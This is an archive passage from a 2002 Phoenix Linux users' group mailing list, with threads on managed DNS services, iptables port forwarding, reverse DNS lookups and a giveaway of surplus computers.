1 = SCO unix box and on BSD box, no microsoft servers. Regards, Charlie ------=_NextPart_000_0056_01C20BA9.ACBEA8F0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Has anyone used a DNS service, such as = ZoneEdit, to=20 manage DNS service for multiple domains, aprox 50, that also have = multiple=20 servers on each domain such as www.xyz.com,=20 info.xyz.com etc.
 
The fellow that owns the company where = I work is=20 currently using bind on a server he administers, but is looking for an = easier=20 way. I don't know if this matters, but he is running several servers = running=20 RedHat 7.2, 1 SCO unix box and on BSD box, no microsoft = servers.
 
Regards,
 
 
Charlie
------=_NextPart_000_0056_01C20BA9.ACBEA8F0-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 16:47:52 2002 From: plug-discuss@lists.plug.phoenix.az.us (Terence Chang) Date: Tue, 4 Jun 2002 09:47:52 -0700 (PDT) Subject: DNS services In-Reply-To: <005901c20be4$5a0a7900$6400a8c0@amd1000> Message-ID: <20020604164752.74823.qmail@web9902.mail.yahoo.com> Have you check out the www.powerdns.com? The provide some easy interface... It's free for less then 5 domains. __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 17:34:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: Tue, 4 Jun 2002 13:34:51 -0400 Subject: DNS services Message-ID: <20020604173453.FMJM8234.lakemtao06.cox.net@smtp.central.cox.net> This is a multi-part message in MIME format. ------=____1023212091623_YJJpr3s6Rn Content-Type: text/plain; charset=ISO8859_1 Content-Transfer-Encoding: 7bit I'm using zoneEdit for multiple domains on one box. Working really well. I"m not *really* doing multiple "servers" (I don't think this term is correct) on any of the domains but I've seen the option on the Edit Zone section of zoneEdit so I wouldn't think you'd have a problem. Plus ZoneEdit is free for the first five zones. Carl P. ============================================================ From: "Charlie Bullen" Date: 2002/06/04 Tue PM 12:24:49 EDT To: Subject: DNS services Has anyone used a DNS service, such as ZoneEdit, to manage DNS service for multiple domains, aprox 50, that also have multiple servers on each domain such as www.xyz.com, info.xyz.com etc. The fellow that owns the company where I work is currently using bind on a server he administers, but is looking for an easier way. I don't know if this matters, but he is running several servers running RedHat 7.2, 1 SCO unix box and on BSD box, no microsoft servers. Regards, Charlie ============================================================ ------=____1023212091623_YJJpr3s6Rn Content-Type: text/html; name="reply" Content-Disposition: inline; filename="reply"
Has anyone used a DNS service, such as ZoneEdit, to manage DNS service for multiple domains, aprox 50, that also have multiple servers on each domain such as www.xyz.com, info.xyz.com etc.
 
The fellow that owns the company where I work is currently using bind on a server he administers, but is looking for an easier way. I don't know if this matters, but he is running several servers running RedHat 7.2, 1 SCO unix box and on BSD box, no microsoft servers.
 
Regards,
 
 
Charlie
------=____1023212091623_YJJpr3s6Rn-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 17:46:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: Tue, 4 Jun 2002 13:46:37 -0400 Subject: More iptables questions Message-ID: <20020604174639.GZTT4796.lakemtao08.cox.net@smtp.central.cox.net> Thank you all for you help with iptables. Now a new question. If you want to do port forwarding do you have to accept it on the INPUT chain?? So in syntax I think what I'm asking is this if I do iptables -A FORWARD -p tcp -i $ext -dport 8081 -j ACCEPT iptables -t nat -A PREROUTING -s $FIREWALL -dport 8081 -j DNAT --to $WEBSERVER:80 (syntax may be a little off I'm trying to do this "on the fly") do I need to add this to the rules? iptables -A INPUT -p tcp -dport 8081 -j ACCEPT So far I've tried both and haven't gotten it to work but while debugging I thought I would find out how it *should* be working. Thanks, From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 18:29:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert A. Klahn) Date: Tue, 4 Jun 2002 11:29:13 -0700 Subject: DNS services In-Reply-To: <200206041905.g54J5I231273@PlugList.MyButt.Net> References: <200206041905.g54J5I231273@PlugList.MyButt.Net> Message-ID: <20020604112913.5f20d28d.robert_a_klahn@fastmail.fm> If you want to try and keep this in-house, you should check out DNSTools http://dnstools.com/ Bob. On Tue, 4 Jun 2002 12:05:18 -0700 plug-discuss-request@lists.plug.phoenix.az.us wrote: > Message: 1 > From: "Charlie Bullen" > To: > Subject: DNS services > Date: Tue, 4 Jun 2002 09:24:49 -0700 > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > This is a multi-part message in MIME format. > > ------=_NextPart_000_0056_01C20BA9.ACBEA8F0 > Content-Type: text/plain; > charset="iso-8859-1" > Content-Transfer-Encoding: quoted-printable > > Has anyone used a DNS service, such as ZoneEdit, to manage DNS service > = for multiple domains, aprox 50, that also have multiple servers on > each = domain such as www.xyz.com, info.xyz.com etc.=20 > > The fellow that owns the company where I work is currently using bind > on = a server he administers, but is looking for an easier way. I > don't know = if this matters, but he is running several servers > running RedHat 7.2, 1 = SCO unix box and on BSD box, no microsoft > servers. > > Regards, > > > Charlie > -- Robert A. Klahn robert_a_klahn@fastmail.fm <======== New Email address AIM: rklahn Yahoo Messenger: klahn IRC: rklahn@irc.openprojects.net "Hope has two beautiful daughters: Anger and Courage. Anger at the way things are, and Courage to struggle to create things as they should be." - St. Augustine From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 21:10:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (Sundar) Date: Tue, 04 Jun 2002 14:10:56 -0700 Subject: Reverse DNS lookup Message-ID: <3CFD2CE0.50208@esaravana.com> Hello, How to do reverse DNS lookup in intranet? I have the ip address and I want to get the dns name for the ip address. Sundar From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 21:22:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Tue, 4 Jun 2002 14:22:33 -0700 Subject: Reverse DNS lookup In-Reply-To: <3CFD2CE0.50208@esaravana.com> References: <3CFD2CE0.50208@esaravana.com> Message-ID: <200206041422.33592.voltage_spike@fastmail.fm> On Tuesday 04 June 2002 02:10 pm, Sundar wrote: > How to do reverse DNS lookup in intranet? I have the ip address and I > want to get the dns name for the ip address. host x.x.x.x It is included with bind-utils. -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 21:24:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Tue, 4 Jun 2002 14:24:00 -0700 (PDT) Subject: Reverse DNS lookup In-Reply-To: <3CFD2CE0.50208@esaravana.com> Message-ID: host ip-address On Tue, 4 Jun 2002, Sundar wrote: > Hello, > > How to do reverse DNS lookup in intranet? I have the ip address and I > want to get the dns name for the ip address. > > Sundar > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 21:54:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Patrick Fleming EA) Date: Tue, 4 Jun 2002 14:54:41 -0700 (MST) Subject: More iptables questions In-Reply-To: <20020604174639.GZTT4796.lakemtao08.cox.net@smtp.central.cox.net> Message-ID: On Tue, 4 Jun 2002, Carl Parrish wrote: > Thank you all for you help with iptables. > Now a new question. > If you want to do port forwarding do you have to accept it on the INPUT chain?? > So in syntax I think what I'm asking is this > if I do > iptables -A FORWARD -p tcp -i $ext -dport 8081 -j ACCEPT > iptables -t nat -A PREROUTING -s $FIREWALL -dport 8081 -j DNAT --to $WEBSERVER:80 If I remember the docs (netfilter.samba.org) you only need one of these rules. Drop the first rule (FORWARD) I think. INPUT, OUTPUT, FORWARD are all independant of each other in iptables. Use FORWARD only for packets heading through your machine. INPUT is for packets coming into localhost, OUTPUT is for packets going from localhost. Also forwarding is kernel level. The following command: $cat /proc/sys/net/ipv4/ip_forward 1 should give you 1. If it is 0, then that is your problem. There are a couple of places that you could stick that in startup scripts to keep it 1. Or just $cat "1">/proc/sys/net/ipv4/ip_forward every time you want forwarding on. HTH > > (syntax may be a little off I'm trying to do this "on the fly") > > do I need to add this to the rules? > > iptables -A INPUT -p tcp -dport 8081 -j ACCEPT > > So far I've tried both and haven't gotten it to work but while debugging > I thought I would find out how it *should* be working. > > Thanks, > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Patrick Fleming, EA http://myhdvest.com/patrickfleming Licensed to represent taxpayers before Exam, Appeals, and Conference divisions of the IRS From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 21:50:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Berkwitt) Date: Tue, 4 Jun 2002 14:50:13 -0700 Subject: Old computers available tomorrow In-Reply-To: Message-ID: I just opened this post. Am I too late? I'm looking for computer donations to a licenced nonprofit recovery center in Prescott Arizona. It's now 2:50pm. -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Matt Alexander Sent: Monday, June 03, 2002 4:29 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Old computers available tomorrow OK, I think the best way for this to work is for anyone interested to stop by New Vision tomorrow between the hours of 9am and 5pm. At the front desk, ask for me, Matt Alexander. New Vision is located at 1920 E Broadway, halfway between McClintock and the 101 on the North side. First come, first serve. Thanks, ~M On Mon, 3 Jun 2002, Matt Alexander wrote: > How's $25 each sound? > > > On Mon, 3 Jun 2002, Jeff wrote: > > > How much are they askin? I might be interested. > > > > > > ----- Original Message ----- > > From: "Matt Alexander" > > To: > > Sent: Monday, June 03, 2002 3:01 PM > > Subject: Old computers available > > > > > > | I've got about 25 spare computers that my company is looking to sell or > > | donate to a good cause. > > | Here are the stats: > > | > > | Pentium 133Mhz > > | 64MB RAM > > | 1.3GB HD > > | 10Mb NIC > > | 1MB SVGA Video Card > > | > > | Linux installs fine on these computers and they could be put to a lot of > > | good use as a low-traffic web server, DNS server, mail server, router, > > | proxy, or even a thin-client for the Linux Terminal Server Project! :-) > > | Anyone interested? > > | Thanks, > > | ~M > > | > > | ________________________________________________ > > | See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > | > > | PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > | http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 22:07:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike) Date: Tue, 4 Jun 2002 17:07:09 -0500 Subject: Old computers available tomorrow In-Reply-To: ; from mberkwitt@cox.net on Tue, Jun 04, 2002 at 02:50:13PM -0700 References: Message-ID: <20020604170709.A82140@lilly.csoft.net> Well, I snagged 5 around 9:30 this AM and I hear there were 3 folks before me :-) On Tue, Jun 04, 2002 at 02:50:13PM -0700, Mark Berkwitt wrote: I just opened this post. Am I too late? I'm looking for computer donations to a licenced nonprofit recovery center in Prescott Arizona. It's now 2:50pm. -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Matt Alexander Sent: Monday, June 03, 2002 4:29 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Old computers available tomorrow OK, I think the best way for this to work is for anyone interested to stop by New Vision tomorrow between the hours of 9am and 5pm. At the front desk, ask for me, Matt Alexander. New Vision is located at 1920 E Broadway, halfway between McClintock and the 101 on the North side. First come, first serve. Thanks, ~M On Mon, 3 Jun 2002, Matt Alexander wrote: > How's $25 each sound? > > > On Mon, 3 Jun 2002, Jeff wrote: > > > How much are they askin? I might be interested. > > > > > > ----- Original Message ----- > > From: "Matt Alexander" > > To: > > Sent: Monday, June 03, 2002 3:01 PM > > Subject: Old computers available > > > > > > | I've got about 25 spare computers that my company is looking to sell or > > | donate to a good cause. > > | Here are the stats: > > | > > | Pentium 133Mhz > > | 64MB RAM > > | 1.3GB HD > > | 10Mb NIC > > | 1MB SVGA Video Card > > | > > | Linux installs fine on these computers and they could be put to a lot of > > | good use as a low-traffic web server, DNS server, mail server, router, > > | proxy, or even a thin-client for the Linux Terminal Server Project! :-) > > | Anyone interested? > > | Thanks, > > | ~M > > | > > | ________________________________________________ > > | See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > | > > | PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > | http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. 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PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 22:10:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Tue, 04 Jun 2002 15:10:26 -0700 Subject: Old computers available tomorrow References: <20020604170709.A82140@lilly.csoft.net> Message-ID: <3CFD3AD2.8A95A4D8@leml.asu.edu> Mike wrote: > > Well, I snagged 5 around 9:30 this AM and I hear > there were 3 folks before me :-) I think I was #1 at 8:59am ;-) EBo -- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 22:20:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Berkwitt) Date: Tue, 4 Jun 2002 15:20:09 -0700 Subject: Old computers available In-Reply-To: Message-ID: Matt, I could use 4 or 5 for a woman's recovery center in Prescott Arizona. They'd be used for Internet use, creating resumes and individual writing. This center is a licensed nonprofit org which can provide donation receipts. Thanks. -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Matt Alexander Sent: Monday, June 03, 2002 4:37 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Old computers available On Mon, 3 Jun 2002, Shawn Rutledge wrote: > Sounds OK to me. > > Do they have CD's floppies or anything else interesting? > What kind of video and network cards? Passive heatsinks or > fans? (Interesting for embedded use...) Ah, I forgot to mention that these do not have cdrom drives. Most are missing floppy drives. All have video cards that work with Linux (I'm too lazy to check the exact brand right now) and 10Mb network cards. The CPUs have fans. ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 22:23:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jeff) Date: Tue, 4 Jun 2002 15:23:35 -0700 Subject: Old computers available tomorrow References: Message-ID: <000e01c20c16$77884bb0$d701870a@jeffbarker> You can have the one I was going to get... I can't make it out there... :) ----- Original Message ----- From: "Mark Berkwitt" To: Sent: Tuesday, June 04, 2002 2:50 PM Subject: RE: Old computers available tomorrow | I just opened this post. Am I too late? I'm looking for computer donations | to a licenced nonprofit recovery center in Prescott Arizona. It's now | 2:50pm. | | -----Original Message----- | From: plug-discuss-admin@lists.plug.phoenix.az.us | [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Matt | Alexander | Sent: Monday, June 03, 2002 4:29 PM | To: plug-discuss@lists.plug.phoenix.az.us | Subject: Re: Old computers available tomorrow | | | OK, I think the best way for this to work is for anyone interested to stop | by New Vision tomorrow between the hours of 9am and 5pm. At the front | desk, ask for me, Matt Alexander. | New Vision is located at 1920 E Broadway, halfway between McClintock and | the 101 on the North side. First come, first serve. | Thanks, | ~M | | | On Mon, 3 Jun 2002, Matt Alexander wrote: | | > How's $25 each sound? | > | > | > On Mon, 3 Jun 2002, Jeff wrote: | > | > > How much are they askin? I might be interested. | > > | > > | > > ----- Original Message ----- | > > From: "Matt Alexander" | > > To: | > > Sent: Monday, June 03, 2002 3:01 PM | > > Subject: Old computers available | > > | > > | > > | I've got about 25 spare computers that my company is looking to sell | or | > > | donate to a good cause. | > > | Here are the stats: | > > | | > > | Pentium 133Mhz | > > | 64MB RAM | > > | 1.3GB HD | > > | 10Mb NIC | > > | 1MB SVGA Video Card | > > | | > > | Linux installs fine on these computers and they could be put to a lot | of | > > | good use as a low-traffic web server, DNS server, mail server, router, | > > | proxy, or even a thin-client for the Linux Terminal Server Project! | :-) | > > | Anyone interested? | > > | Thanks, | > > | ~M | > > | | > > | ________________________________________________ | > > | See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail | doesn't | > > post to the list quickly and you use Netscape to write mail. | > > | | > > | PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us | > > | http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss | > > | > > ________________________________________________ | > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't | post to the list quickly and you use Netscape to write mail. | > > | > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us | > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss | > > | > | > ________________________________________________ | > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't | post to the list quickly and you use Netscape to write mail. | > | > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us | > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss | > | | ________________________________________________ | See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post | to the list quickly and you use Netscape to write mail. | | PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us | http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss | | | ________________________________________________ | See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. | | PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us | http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 22:36:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Tue, 4 Jun 2002 15:36:44 -0700 (MST) Subject: More iptables questions In-Reply-To: <20020604174639.GZTT4796.lakemtao08.cox.net@smtp.central.cox.net> Message-ID: Am 04. Jun, 2002 schwätzte Carl Parrish so: > iptables -A FORWARD -p tcp -i $ext -dport 8081 -j ACCEPT iptables -A FORWARD -p TCP -d $forwip --dport $forwport -j ACCEPT > iptables -t nat -A PREROUTING -s $FIREWALL -dport 8081 -j DNAT --to $WEBSERVER:80 iptablees -A PREROUTING -t nat -p TCP -d $extip --dport $extport -j DNAT --to $forwip:$forwport That's is the format I got from FireStarter. It's working. If you're testing from behind the firewall, then you need to add a rule like: iptables -A POSTROUTING -t nat -s $intnet -o $intif -d $intnet -j MASQUERADE > (syntax may be a little off I'm trying to do this "on the fly") > > do I need to add this to the rules? > > iptables -A INPUT -p tcp -dport 8081 -j ACCEPT I'm not using a rule like that. My example variables use the following: ext == external int == internal forw == where being forwarded to ip == IP addy net == CIDR addy if == interface ciao, der.hans -- # https://www.LuftHans.com/ # When you are tired of choosing the lesser of two evils, # Vote Cthulhu for President! From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 22:37:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Sundar) Date: Tue, 04 Jun 2002 15:37:55 -0700 Subject: Reverse DNS lookup References: Message-ID: <3CFD4143.3010903@esaravana.com> Would you guys, by any chance know, how you can do it from Windoze client? Sundar Matt Alexander wrote: >host ip-address > > >On Tue, 4 Jun 2002, Sundar wrote: > >>Hello, >> >>How to do reverse DNS lookup in intranet? I have the ip address and I >>want to get the dns name for the ip address. >> >>Sundar >> >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 22:45:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Tue, 4 Jun 2002 15:45:58 -0700 (PDT) Subject: Reverse DNS lookup In-Reply-To: <3CFD4143.3010903@esaravana.com> Message-ID: nslookup ip-address On Tue, 4 Jun 2002, Sundar wrote: > Would you guys, by any chance know, how you can do it from Windoze client? > > Sundar > > Matt Alexander wrote: > > >host ip-address > > > > > >On Tue, 4 Jun 2002, Sundar wrote: > > > >>Hello, > >> > >>How to do reverse DNS lookup in intranet? I have the ip address and I > >>want to get the dns name for the ip address. > >> > >>Sundar > >> > >>________________________________________________ > >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >> > >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >> > > > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 22:43:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike) Date: Tue, 4 Jun 2002 17:43:19 -0500 Subject: Old computers available In-Reply-To: ; from mberkwitt@cox.net on Tue, Jun 04, 2002 at 03:20:09PM -0700 References: Message-ID: <20020604174319.A87199@lilly.csoft.net> If Matt's well is dry I will donate 3 of mine for your cause. On Tue, Jun 04, 2002 at 03:20:09PM -0700, Mark Berkwitt wrote: Matt, I could use 4 or 5 for a woman's recovery center in Prescott Arizona. They'd be used for Internet use, creating resumes and individual writing. This center is a licensed nonprofit org which can provide donation receipts. Thanks. -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Matt Alexander Sent: Monday, June 03, 2002 4:37 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Old computers available On Mon, 3 Jun 2002, Shawn Rutledge wrote: > Sounds OK to me. > > Do they have CD's floppies or anything else interesting? > What kind of video and network cards? Passive heatsinks or > fans? (Interesting for embedded use...) Ah, I forgot to mention that these do not have cdrom drives. Most are missing floppy drives. All have video cards that work with Linux (I'm too lazy to check the exact brand right now) and 10Mb network cards. The CPUs have fans. ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 22:48:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Tue, 4 Jun 2002 15:48:53 -0700 Subject: Reverse DNS lookup In-Reply-To: <3CFD4143.3010903@esaravana.com> References: <3CFD4143.3010903@esaravana.com> Message-ID: <200206041548.53542.voltage_spike@fastmail.fm> On Tuesday 04 June 2002 03:37 pm, Sundar wrote: > Would you guys, by any chance know, how you can do it from Windoze > client? I would reccomend that you download Cygwin (http://www.cygwin.com) and run: host x.x.x.x :-) PS: I am not sure if this program is included with Cygwin. However, you could compile it yourself if it is not. Either way, it is still good advice. -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 22:33:34 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Tue, 4 Jun 2002 15:33:34 -0700 (PDT) Subject: Old computers available tomorrow In-Reply-To: Message-ID: I've got 7 more today waiting for some kind soul to make these underappreciated computers important again. On Thursday I'll have about 15 more available. So stop by today before 6pm if you want one, or stop by on Thursday. Thanks, ~M On Tue, 4 Jun 2002, Mark Berkwitt wrote: > I just opened this post. Am I too late? I'm looking for computer donations > to a licenced nonprofit recovery center in Prescott Arizona. It's now > 2:50pm. From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 22:50:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gary Nichols) Date: Tue, 4 Jun 2002 15:50:18 -0700 (MST) Subject: More iptables questions In-Reply-To: <20020604174639.GZTT4796.lakemtao08.cox.net@smtp.central.cox.net> Message-ID: Methods lead to interfaces. Interfaces lead to services. Services *insert dramatic pause* lead to logging. http://www.linux-firewall-tools.com/linux/firewall/ Gary http://www.linuxchimp.com From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 23:06:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 04 Jun 2002 19:06:15 -0400 Subject: Reverse DNS lookup Message-ID: On Windows the traceroute command is "tracert" and is executed from at DOS or command prompt window. It will show you the domain name of an IP address as it does the DNS lookup as it starts and as it traces. Do the command tracert Alan On Tue, 04 Jun 2002 15:37:55 -0700 Sundar wrote: Would you guys, by any chance know, how you can do it from Windoze client? Sundar Matt Alexander wrote: >host ip-address > > >On Tue, 4 Jun 2002, Sundar wrote: > >>Hello, >> >>How to do reverse DNS lookup in intranet? I have the ip address and I >>want to get the dns name for the ip address. >> >>Sundar >> >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 23:24:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gilbert T. Gutierrez, Jr.) Date: Tue, 4 Jun 2002 16:24:49 -0700 Subject: Reverse DNS lookup In-Reply-To: <3CFD4143.3010903@esaravana.com> Message-ID: Depending on what version of windows you have you can use nslookup...The easiest way if you are using 95 or 98 is to do a trace route (tracert IPADDRESS). Trace route does a lookup on the IP address before it attempts to trace. Gilbert -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Sundar Sent: Tuesday, June 04, 2002 3:38 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Reverse DNS lookup Would you guys, by any chance know, how you can do it from Windoze client? Sundar Matt Alexander wrote: >host ip-address > > >On Tue, 4 Jun 2002, Sundar wrote: > >>Hello, >> >>How to do reverse DNS lookup in intranet? I have the ip address and I >>want to get the dns name for the ip address. >> >>Sundar >> >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post 